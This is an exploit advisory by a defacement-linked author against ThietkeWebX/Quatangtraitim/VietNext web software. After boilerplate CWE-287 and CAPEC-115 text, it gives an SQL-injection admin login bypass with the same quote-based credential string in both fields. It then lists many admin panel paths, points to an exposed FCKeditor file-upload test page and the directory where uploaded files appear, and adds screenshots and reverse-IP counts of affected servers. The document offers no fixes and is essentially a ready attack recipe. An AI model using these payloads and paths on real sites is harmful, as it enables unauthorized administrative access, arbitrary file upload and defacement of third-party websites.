####################################################################
# Exploit Title : ThietkeWebX Quatangtraitim VietNext Unauthorized File Upload Improper Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 06 May 2020
# Vendor Homepage : thietkewebx.net - quatangtraitim.vn
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-287 [ Improper Authentication ]
CAPEC-115: Authentication Bypass
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/KingSkrupellos
# Zone-H : zone-h.org/archive/notifier=KingSkrupellos
zone-h.org/archive/notifier=CyBeRiZM
# Mirror-H : mirror-h.org/search/hacker/948/
mirror-h.org/search/hacker/94/
mirror-h.org/search/hacker/1826/
# Defacer.ID : defacer.id/archive/attacker/KingSkrupellos
defacer.id/archive/team/Cyberizm-Org
# Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/
# Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos
aljyyosh.org/hacker.php?id=Cyberizm.Org
aljyyosh.org/hacker.php?id=Cyberizm
# Zone-D : zone-d.org/attacker/id/69
# Pastebin : pastebin.com/u/KingSkrupellos
# Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities
####################################################################
# Impact :
***********
CWE-287 [ Improper Authentication ]
Authentication is any process by which a system verifies the identity of a user who wishes
to access it.When an actor claims to have a given identity, the software does not
prove or insufficiently proves that the claim is correct. Improper authentication
occurs when an application improperly verifies the identity of a user.
A software incorrectly validates user's login information and as a result, an attacker can
gain certain privileges within the application or disclose sensitive information that allows
them to access sensitive data and provoke arbitrary code execution.
The weakness is introduced during Architecture and Design, Implementation stages.
CAPEC-115 [ Authentication Bypass ]
An attacker gains access to application, service, or device with the privileges
of an authorized or privileged user by evading or circumventing an authentication mechanism.
The attacker is therefore able to access protected data without authentication ever having taken place.
This refers to an attacker gaining access equivalent to an authenticated user without ever going
through an authentication procedure. This is usually the result of the attacker using an unexpected
access procedure that does not go through the proper checkpoints where authentication should occur.
For example, a web site might assume that all users will click through a given link in order to get to
secure material and simply authenticate everyone that clicks the link. However, an attacker might be
able to reach secured web content by explicitly entering the path to the content rather than clicking
through the authentication link, thereby avoiding the check entirely. This attack pattern differs from
other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than
faking authentication by exploiting flaws or by stealing credentials from legitimate users.
* ThietkeWebX Quatangtraitim VietNext is prone to an arbitrary-file-upload vulnerability
because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to upload arbitrary files to the affected computer;
this can result in arbitrary script code execution within the context of the vulnerable application.
####################################################################
# Authentication Bypass / Improper Authentication / Admin Panel Login Bypass Exploit :
******************************************************************************
/admin/login.php
Administrator Username : '=''or'
Administrator Password : '=''or'
/admin/?act=product_category
/admin/?act=product
/admin/?act=product_new
/admin/?act=product_special
/admin/?act=service
/admin/?act=yahoo
/admin/?act=download
/admin/?act=logo
/admin/?act=contact
/admin/?act=contact_m&cat=&page=&id=30
/admin/?act=intro
/admin/?act=intro_m&cat=&page=&id=167
/admin/?act=intro&cat=&page=&code=1
/admin/?act=advleft_top_m&cat=&page=&id=193
/admin/?act=advleft_bottom
/admin/?act=advleft_bottom_m&cat=&page=&id=196
/admin/?act=advleft_bottom&cat=&page=&code=1
/admin/?act=advright_top
/admin/?act=advright_top_m&cat=&page=&id=195
/admin/?act=advright_bottom
/admin/?act=advright_bottom&cat=&page=&code=1
/admin/?act=news
/admin/?act=news&cat=&page=&code=1
/admin/?act=news_m&cat=&page=&id=200
/admin/?act=member
/admin/?act=config
/admin/?act=changepass
ScreenShot Administrator Control Panel :
https://www.upload.ee/image/11635192/baotam2adminpanel05052020.png
https://www.upload.ee/image/11634914/baotamcomputerfileuploadvuln05052020.png
Arbitrary File Upload Vulnerability :
*******************************
/jscripts/FCKeditor/editor/filemanager/upload/test.html
Select the "File Uploader" to use: PHP
Upload a new file: Choose File : .txt .jpg .gif .png .htm .html
Directory File Path :
********************
/vantindat/images/[YOURFILENAME].html
Reverse IP results for (112.78.2.91)
There are 126 domains hosted on this server.
Reverse IP results for (104.24.120.147, 104.24.121.147)
There are approximately 100 domains hosted on this server.
Reverse IP results (104.31.82.215, 104.31.83.215)
There are approximately 100 domains hosted on this server.
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################